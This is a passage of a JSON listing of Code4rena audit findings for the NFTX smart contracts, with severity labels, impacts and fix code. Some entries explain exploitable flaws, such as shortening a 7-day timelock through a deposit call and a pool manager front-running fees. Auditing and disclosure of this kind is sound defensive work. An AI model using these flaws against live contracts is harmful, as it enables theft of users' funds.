# Vulnerability details `totalUnderlying()` includes the invested assets, they are not in the contract balance. when a user calls withdraw, claimYield or unsponsor, the system might not have enough assets in the balance and the transfer would fail. especially, force unsponsor will always fail, because it tries to transfer the entire `totalUnderlying()`, which the system doesn't have: https://github.com/code-423n4/2022-01-sandclock/blob/main/sandclock/contracts/Vault.sol#L391 ## Recommended Mitigation Steps when the system doesn't have enough balance to make the transfer, withdraw from the strategy. "}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/234", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Validations"}, {"title": "NFTXSimpleFeeDistributor#addReceiver: Failure to check for existing receiver", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/230", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "NFTXSimpleFeeDistributor#addReceiver: Failure to check for existing receiver"}, {"title": "NFTXMarketplaceZap: incorrect parameter name", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/228", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact In the function `_sellVaultTokenETH`, the parameter `minWethOut` should be `minEthOut` ## Recommended Mitigation Steps Replace `minWethOut` with `minEthOut` "}, {"title": "NFTXStakingZap: Sanity checks on \u201cto\u201d (dest) address", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/227", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact The MarketplaceZap contract conducts a sanity check on the `to` address. One can therefore expect that this check is in place for the StakingZap contract as well. We also suggest adding another check to ensure that the `to` address is not the StakingZap contract itself. Although there is a `rescue()` function to retrieve funds in these cases, it would be a hassle to do so. ## Recommended Mitigation Steps Include the sanity check(s) of the `to` address in the `addLiquidity*()` functions. ```jsx require(to != address(0) && to != address(this)); ``` "}, {"title": "NFTXMarketplaceZap: Add rescue() function", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/226", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact A `rescue()` function exists for the StakingZap contract to help retrieve any accidental fund transfer to it. It would be beneficial to have this function exist in the MarketplaceZap contract too. ## Recommended Mitigation Steps Include the `rescue()` function. ```jsx function rescue(address token) external onlyOwner { IERC20Upgradeable(token).transfer(msg.sender, IERC20Upgradeable(token).balanceOf(address(this))); } ``` "}, {"title": "NFTXMarketplaceZap: Restrict native ETH transfers to WETH contract", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/224", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact Native fund transfers into the zap contract are only expected from the WETH contract. Hence, it would be good to restrict incoming fund transfers to prevent accidental native fund transfers from other sources. This is also true even though `sushiRouter.swapExactTokensForETH()` is called, as the recipient of the swap is expected to not be the marketplace zap contract. ## Recommended Mitigation Steps Modify the `receive()` function to only accept transfers from the wrapped token contract. ```jsx receive() external payable { require(msg.sender == address(WETH), \"Only WETH\"); } ``` "}, {"title": "NFTXSimpleFeeDistributor: Inconsistency between implementation and comment", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact In the `_sendForReceiver()` function, there are 2 comments: `// If the receive is not properly processed, send it to the treasury instead.` and `// If the allowance has not been spent, it means we can pass it forward to next` which are contradictory in nature, except for the case of the last receiver in the feeReceivers array. Looking at the `distribute()` function implementation, should the `receiveRewards()` function return false, fail, or if the `transferFrom()` was not called in its implementation, the rewards will be given to the next receiver, and not the treasury. ```jsx // Note: some irrelevant lines were omitted for (uint256 i = 0; i < length; i++) { uint256 amountToSend = leftover + ((tokenBalance * _feeReceiver.allocPoint) / allocTotal); bool complete = _sendForReceiver(_feeReceiver, vaultId, _vault, amountToSend); if (!complete) { leftover = amountToSend; } else { leftover = 0; } } ``` ## Recommended Mitigation Steps Based on the implementation, the comment `// If the receive is not properly processed, send it to the treasury instead.` should be edited or removed. "}, {"title": "PausableUpgradeable: Document lockId code 10 = deposit", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/221", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "PausableUpgradeable: Document lockId code 10 = deposit"}, {"title": "NFTXLPStaking: Implementation Upgrade Storage Layout Caution", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/220", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact From what we understand, the contracts upgrade will be performed in place, where the relevant current proxies will be pointing to the new implementations. An important restriction when doing so is that the order of which the contract state variables are declared, and their types **must be preserved.** More information can be found in [OpenZeppelin\u2019s documentation](https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#modifying-your-contracts). For the NFTXLPStaking contract, the [version of the May contest review](https://github.com/code-423n4/2021-05-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol) was: ```jsx contract NFTXLPStaking is OwnableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; INFTXVaultFactory public nftxVaultFactory; INFTXFeeDistributor public feeDistributor; RewardDistributionTokenUpgradeable public rewardDistTokenImpl; StakingTokenProvider public stakingTokenProvider; event PoolCreated(uint256 vaultId, address pool); event PoolUpdated(uint256 vaultId, address pool); event FeesReceived(uint256 vaultId, uint256 amount); struct StakingPool { address stakingToken; address rewardToken; } mapping(uint256 => StakingPool) public vaultStakingInfo; function __NFTXLPStaking__init(address _stakingTokenProvider) external initializer { ... ``` while the new version is ```jsx contract NFTXLPStaking is PausableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; INFTXVaultFactory public nftxVaultFactory; IRewardDistributionToken public rewardDistTokenImpl; StakingTokenProvider public stakingTokenProvider; event PoolCreated(uint256 vaultId, address pool); event PoolUpdated(uint256 vaultId, address pool); event FeesReceived(uint256 vaultId, uint256 amount); struct StakingPool { address stakingToken; address rewardToken; } mapping(uint256 => StakingPool) public vaultStakingInfo; TimelockRewardDistributionTokenImpl public newTimelockRewardDistTokenImpl; function __NFTXLPStaking__init(address _stakingTokenProvider) external initializer { ... ``` Note that the `feeDistributor` has been removed. Also note that a new base contract has been added (`PausableUpgradeable` which inherits `OwnableUpgradeable`), which has 2 mappings `isGuardian` and `isPaused`. We however note that the current `NFTXLPStaking` implementation at [`https://etherscan.io/address/0xa64c2f3f965f055e51482bf0960ebb5f2904bf68#code`](https://etherscan.io/address/0xa64c2f3f965f055e51482bf0960ebb5f2904bf68#code) is a more recent version than that of the previous contest review. There is no change in the storage layout between this deployed version against the one being reviewed. The ordering of state variables is determined by the C3-linearized order of contracts, so there does not seem to have been any storage collision with the change from `OwnableUpgradeable` to `PausableUpgradeable`. It also appears that the public variables are returning expected values. ## Recommended Mitigation Steps Upgrading implementations are a tricky affair. It is highly recommended to use tools like OpenZeppelin\u2019s upgrade plugins that validate that the new implementation is upgrade safe and is compatible with the previous one. "}, {"title": "NFTXInventoryStaking: Index vaultId in events", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/218", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "NFTXInventoryStaking: Index vaultId in events"}, {"title": "NFTXStakingZap: Unused xTokenMinted variable ", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact `xTokensMinted` is assigned in `provideInventory721()` and `provideInventory1155()`, but is unused. ## Recommended Mitigation Steps Remove the local variable `xTokensMinted`. "}, {"title": "Cached lpStaking and inventoryStaking in Zap contracts", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/214", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Cached lpStaking and inventoryStaking in Zap contracts"}, {"title": "Pool Manager can frontrun fees to 100% and use it to steal the value from users", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/213", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Pool Manager can frontrun fees to 100% and use it to steal the value from users"}, {"title": "Constants can be made internal / private", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/209", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Since the defined constants are unneeded elsewhere, it can be defined to be internal or private to save gas. ## Proof of Concept ``` https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L28-L30 ``` ## Tools Used VS Code ## Recommended Mitigation Steps Change the visibility from public to private or internal "}, {"title": "Use unchecked math and cache values", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/208", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact 'unchecked' directive can be used where an underflow/overflow cannot happen, e.g. here: ```solidity if (amountEth < msg.value) { WETH.withdraw(msg.value-amountEth); payable(to).call{value: msg.value-amountEth}; } ``` Also, to reduce gas usage, ```msg.value-amountEth``` should be cached and not re-calculated several times. "}, {"title": "Explicit initialization with zero not required", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Explicit initialization with zero not required"}, {"title": "Unused function input argument \"vault\"", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/205", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle PPrieditis # Vulnerability details ## Impact NFTXMarketplaceZap.sol function _buyVaultToken() has unused parameter \"vault\" https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L497 ## Recommended Mitigation Steps Remove parameter \"vault\" from _buyVaultToken() and update necessary _buyVaultToken() calls. "}, {"title": "TimelockRewardDistributionTokenImpl.sol function withdrawableRewardOf() visibility can be changed from internal to public", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/201", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "TimelockRewardDistributionTokenImpl.sol function withdrawableRewardOf() visibility can be changed from internal to public"}, {"title": "isContract() duplication and Address.sol library usage", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/199", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "isContract() duplication and Address.sol library usage"}, {"title": "Unnecessary checked arithmetic in for-loops", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/198", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Unnecessary checked arithmetic in for-loops"}, {"title": "NFTXVaultFactoryUpgradeable.sol function assignFees() does not have onlyOwner modifier", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/196", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "NFTXVaultFactoryUpgradeable.sol function assignFees() does not have onlyOwner modifier"}, {"title": "`++i` costs less gass compared to `i++`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/195", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle Dravee # Vulnerability details ## Impact `++i` costs less gass compared to `i++` for unsigned integer, as pre-increment is cheaper (about 5 gas per iteration) ## Proof of Concept `i++` increments `i` and returns the initial value of `i`. Which means: ``` uint i = 1; i++; // == 1 but i == 2 ``` But `++i` returns the actual incremented value: ``` uint i = 1; ++i; // == 2 and i == 2 too, so no need for a temporary variable ``` In the first case, the compiler has to create a temporary variable (when used) for returning `1` instead of `2` Instances include: ``` ./NFTXEligibilityManager.sol:85: for (uint256 i = 0; i < modulesCopy.length; i++) { ./NFTXLPStaking.sol:81: for (uint256 i = 0; i < vaultIds.length; i++) { ./NFTXLPStaking.sol:206: for (uint256 i = 0; i < vaultIds.length; i++) { ./NFTXMarketplaceZap.sol:263: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXMarketplaceZap.sol:297: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXMarketplaceZap.sol:379: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:399: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:414: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:437: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXSimpleFeeDistributor.sol:62: for (uint256 i = 0; i < length; i++) { ./NFTXStakingZap.sol:192: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXStakingZap.sol:203: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXStakingZap.sol:341: for (uint256 i = 0; i < ids.length; i++) { ./NFTXVaultUpgradeable.sol:267: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXVaultUpgradeable.sol:406: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXVaultUpgradeable.sol:419: for (uint256 i = 0; i < tokenIds.length; i++) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use `++i` instead of `i++` to increment the value of an uint variable "}, {"title": "Using 10**X for constants isn't gas efficient", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Using 10**X for constants isn't gas efficient"}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Wrong code style", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/190", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Wrong code style"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/189", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "Gas Optimization: Use immutable to cache beaconhash", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Calculation of `xTokenAddr` can further save gas by caching the creation hash as a immutable state. https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L136 ``` address tokenAddr = Create2.computeAddress(salt, keccak256(type(Create2BeaconProxy).creationCode)); ``` ## Recommended Mitigation Steps ``` bytes32 internal immutable beaconhash = keccak256(type(Create2BeaconProxy).creationCode); function xTokenAddr(address baseToken) public view virtual override returns (address) { bytes32 salt = keccak256(abi.encodePacked(baseToken)); address tokenAddr = Create2.computeAddress(salt, beaconhash); return tokenAddr; } ``` "}, {"title": "Unsafe approve in NFTXSimpleFeeDistributor", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/186", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Unsafe approve was done. ## Proof of Concept In the method `NFTXSimpleFeeDistributor._sendForReceiver` it's made a approve without checking the boolean result, ERC20 standard specify that the token can return false if the approve was not made, so it's mandatory to check the result of approve methods. ## Tools Used Manual review ## Recommended Mitigation Steps Use safe approve or check the boolean result "}, {"title": "NFTXStakingZap and NFTXMarketplaceZap's transferFromERC721 transfer Cryptokitties to the wrong address", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/185", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle hyh # Vulnerability details ## Impact `transferFromERC721(address assetAddr, uint256 tokenId, address to)` should transfer from `msg.sender` to `to`. It transfers to `address(this)` instead when ERC721 is Cryptokitties. As there is no additional logic for this case it seems to be a mistake that leads to wrong NFT accounting after such a transfer as NFT will be missed in the vault (which is `to`). ## Proof of Concept NFTXStakingZap: transferFromERC721 https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L416 NFTXMarketplaceZap: transferFromERC721 https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L556 Both functions are called by user facing Marketplace buy/sell and Staking addLiquidity/provideInventory functions. ## Recommended Mitigation Steps Fix the address: Now: ``` // Cryptokitties. data = abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), tokenId); ``` To be: ``` // Cryptokitties. data = abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, to, tokenId); ``` "}, {"title": "Gas Optimization: Use uint232 for `allocPoint`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Gas Optimization: Use uint232 for `allocPoint`"}, {"title": "Missing OOB check in `changeReceiverAlloc`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/181", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `changeReceiverAlloc` did not check if the idx exists unlike other functions in the same contract https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L93 ``` function changeReceiverAlloc(uint256 _receiverIdx, uint256 _allocPoint) public override virtual onlyOwner { FeeReceiver storage feeReceiver = feeReceivers[_receiverIdx]; allocTotal -= feeReceiver.allocPoint; feeReceiver.allocPoint = _allocPoint; allocTotal += _allocPoint; emit UpdateFeeReceiverAlloc(feeReceiver.receiver, _allocPoint); } ``` ## Recommended Mitigation Steps ```require(_receiverIdx < feeReceivers.length, \"FeeDistributor: Out of bounds\");``` "}, {"title": "Importing unused contract", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Importing unused contract"}, {"title": "Use of floating pragma", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/179", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Use of floating pragma"}, {"title": "Bypass zap timelock", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/178", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The default value of `inventoryLockTime` in `NFTXStakingZap` is `7 days` while `DEFAULT_LOCKTIME` in `NFTXInventoryStaking` is 2 ms. These timelock value are used in `NFTXInventoryStaking` to eventually call `_timelockMint` in `XTokenUpgradeable`. https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/token/XTokenUpgradeable.sol#L74 ``` function _timelockMint(address account, uint256 amount, uint256 timelockLength) internal virtual { uint256 timelockFinish = block.timestamp + timelockLength; timelock[account] = timelockFinish; emit Timelocked(account, timelockFinish); _mint(account, amount); } ``` The applicable timelock is calculated by `block.timestamp + timelockLength`, even when the existing timelock is further in the future. Therefore, one can reduce their long (e.g. 7 days) timelock to 2 ms calling `deposit` in `NFTXInventoryStaking` ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L160 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L30 ## Recommended Mitigation Steps ``` function _timelockMint(address account, uint256 amount, uint256 timelockLength) internal virtual { uint256 timelockFinish = block.timestamp + timelockLength; if(timelockFinish > timelock[account]){ timelock[account] = timelockFinish; emit Timelocked(account, timelockFinish); } _mint(account, amount); } ``` "}, {"title": "NFTXVaultFactoryUpgradeable implementation can be replaced in production breaking the system", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/177", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle hyh # Vulnerability details ## Impact `NFTXVaultFactory` contract holds information regarding vaults, assets and permissions (vaults, _vaultsForAsset and excludedFromFees mappings). As there is no mechanics present that transfers this information to another implementation, the switch of nftxVaultFactory to another address performed while in production will break the system. ## Proof of Concept `setNFTXVaultFactory` function allows an owner to reset `nftxVaultFactory` without restrictions in the following contracts: NFTXLPStaking https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol#L59 NFTXInventoryStaking https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L51 NFTXSimpleFeeDistributor https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L135 ## Recommended Mitigation Steps Either restrict the ability to change the factory implementation to pre-production stages or make `nftxVaultFactory` immutable by allowing changing it only once: Now: ``` function setNFTXVaultFactory(address newFactory) external virtual override onlyOwner { require(newFactory != address(0)); nftxVaultFactory = INFTXVaultFactory(newFactory); } ``` To be: ``` function setNFTXVaultFactory(address newFactory) external virtual override onlyOwner { require(nftxVaultFactory == address(0), \"nftxVaultFactory is immutable\"); nftxVaultFactory = INFTXVaultFactory(newFactory); } ``` If the implementation upgrades in production is desired, the factory data migration logic should be implemented and then used atomically together with the implementation switch in all affected contracts. "}, {"title": "`> 0` can be replaced with `!= 0` for gas optimization", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`> 0` can be replaced with `!= 0` for gas optimization"}, {"title": "Sell event amounts[1]", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/173", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact When emitting Sell event, it assumes that the path is always of length 2, as amounts[1] is used for the ethReceived parameter. However, the path does not have any restrictions on its length, so it is completely possible, that this is not the final amount. Events are used to inform the outside world and this may trick the consumers. ## Recommended Mitigation Steps amounts[1] should be replaced with amounts[amounts.length - 1] "}, {"title": "max timelockLength", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/172", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Consider introducing a reasonable global upper limit for timelockLength in XTokenUpgradeable and TimelockRewardDistributionTokenImpl, so the users can't be locked out of their tokens forever. ## Recommended Mitigation Steps XTokenUpgradeable and TimelockRewardDistributionTokenImpl should not trust the external input but have explicitly declared boundaries for values like timelock length to reduce possibilities of unexpected outcomes. "}, {"title": "Use cached version of sushiRouter.WETH()", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/171", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Use cached version of sushiRouter.WETH()"}, {"title": "uint64 state variable is less efficient than uint256", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "uint64 state variable is less efficient than uint256"}, {"title": "Unused state variables", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Unused state variables"}, {"title": "Cache duplicate external calls", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Cache duplicate external calls"}, {"title": "Check if amount > 0 before token transfer can save gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/165", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L247-L248 ```solidity=247 uint256 remaining = WETH.balanceOf(address(this)); WETH.transfer(to, remaining); ``` Since `WETH.balanceOf(address(this))` can to be `0`. Checking `if (remaining > 0)` before the transfer can potentially save an external call and the unnecessary gas cost of a 0 token transfer. "}, {"title": "Unused function parameters", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle WatchPug # Vulnerability details Unused function parameters increase contract size and gas usage at deployment. https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L496-L511 ```solidity=496 function _buyVaultToken( address vault, uint256 minTokenOut, uint256 maxWethIn, address[] calldata path ) internal returns (uint256[] memory) { uint256[] memory amounts = sushiRouter.swapTokensForExactTokens( minTokenOut, maxWethIn, path, address(this), block.timestamp ); return amounts; } ``` `vault` is unused. "}, {"title": "Unused local variables", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Unused local variables"}, {"title": "Unused events", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Unused events"}, {"title": "`NFTXMarketplaceZap.sol#buyAnd***()` should return unused weth/eth back to `msg.sender` instead of `to`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`NFTXMarketplaceZap.sol#buyAnd***()` should return unused weth/eth back to `msg.sender` instead of `to`"}, {"title": "Inline unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Inline unnecessary function can make the code simpler and save some gas"}, {"title": "`NFTXMarketplaceZap.sol#buyAndSwap1155WETH()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`NFTXMarketplaceZap.sol#buyAndSwap1155WETH()` Implementation can be simpler and save some gas"}, {"title": "NFTXStakingZap, NFTXMarketplaceZap and NFTXVaultUpgradeable use hard coded Cryptokitties and CryptoPunks addresses", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/155", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "NFTXStakingZap, NFTXMarketplaceZap and NFTXVaultUpgradeable use hard coded Cryptokitties and CryptoPunks addresses"}, {"title": "Outdated comment in `TimelockRewardDistributionTokenImpl.burnFrom`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/150", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cmichel # Vulnerability details The comment in `TimelockRewardDistributionTokenImpl.burnFrom` says: > the caller must have allowance for ``accounts``'s tokens of at least `amount`. This was the case in a previous version but not anymore. The owner does not need to be approved to burn tokens anymore. ## Recommended Mitigation Steps Update the comment to clarify the behavior. "}, {"title": "Unbounded iteration in `NFTXVaultUpgradeable.allHoldings` over all holdings", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/147", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Unbounded iteration in `NFTXVaultUpgradeable.allHoldings` over all holdings"}, {"title": "Staking Zap approves wrong LP token", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/143", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": 